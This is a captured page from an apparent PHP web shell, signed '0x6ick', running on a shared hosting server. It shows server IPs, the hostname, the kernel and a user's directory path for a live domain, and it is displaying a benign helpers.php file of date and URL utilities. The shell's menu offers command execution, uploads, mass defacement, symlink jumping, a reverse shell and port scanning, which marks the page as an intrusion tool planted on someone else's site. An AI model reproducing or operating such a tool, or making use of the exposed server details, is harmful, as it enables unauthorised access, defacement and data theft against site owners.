Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html
/
cyneb
/
utils
/
Viewing: helpers.php
<?php // utils/helpers.php function formatDate($date) { if (!$date || $date === '0000-00-00') return '-'; $d = new DateTime($date); $dias = ['Domingo', 'Lunes', 'Martes', 'Miércoles', 'Jueves', 'Viernes', 'Sábado']; return $dias[$d->format('w')] . $d->format(' d-m-Y'); } function formatDateTime($dateTime) { if (!$dateTime || $dateTime === '0000-00-00 00:00:00') return '-'; $d = new DateTime($dateTime); $dias = ['Domingo', 'Lunes', 'Martes', 'Miércoles', 'Jueves', 'Viernes', 'Sábado']; $hora = $d->format('g:i'); $ampm = $d->format('a'); return $dias[$d->format('w')] . $d->format(' d-m-Y ') . $hora . ' ' . $ampm; } function jsonResponse($data, int $status = 200): void { header('Content-Type: application/json; charset=utf-8'); http_response_code($status); echo json_encode($data); exit; } function basePath(): string { static $base = null; if ($base === null) { $configured = getenv('CYNE_BASE_PATH'); if ($configured === false || $configured === null || $configured === '') { $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? realpath($_SERVER['DOCUMENT_ROOT']) : false; $projectRoot = realpath(__DIR__ . '/..'); if ($docRoot && $projectRoot && strpos($projectRoot, $docRoot) === 0) { $relative = substr($projectRoot, strlen($docRoot)); $relative = str_replace('\\', '/', $relative); $configured = $relative === '' ? '' : '/' . ltrim($relative, '/'); } else { $configured = ''; } } $base = rtrim((string)$configured, '/'); if ($base === '') { $base = ''; } } return $base; } function assetUrl(string $path): string { $path = ltrim($path, '/'); $base = basePath(); return ($base ? $base . '/' : '/') . $path; } function routeUrl(string $path = ''): string { $path = ltrim($path, '/'); $base = basePath(); if ($path === '') { return $base ?: '/'; } return ($base ? $base . '/' : '/') . $path; } function renderFlashMessages(): void { $messages = SessionManager::getFlash(); foreach ($messages as $type => $items) { foreach ($items as $message) { echo '<div class="alert alert-' . htmlspecialchars($type) . '">' . htmlspecialchars($message) . '</div>'; } } }
Coded With 💗 by
0x6ick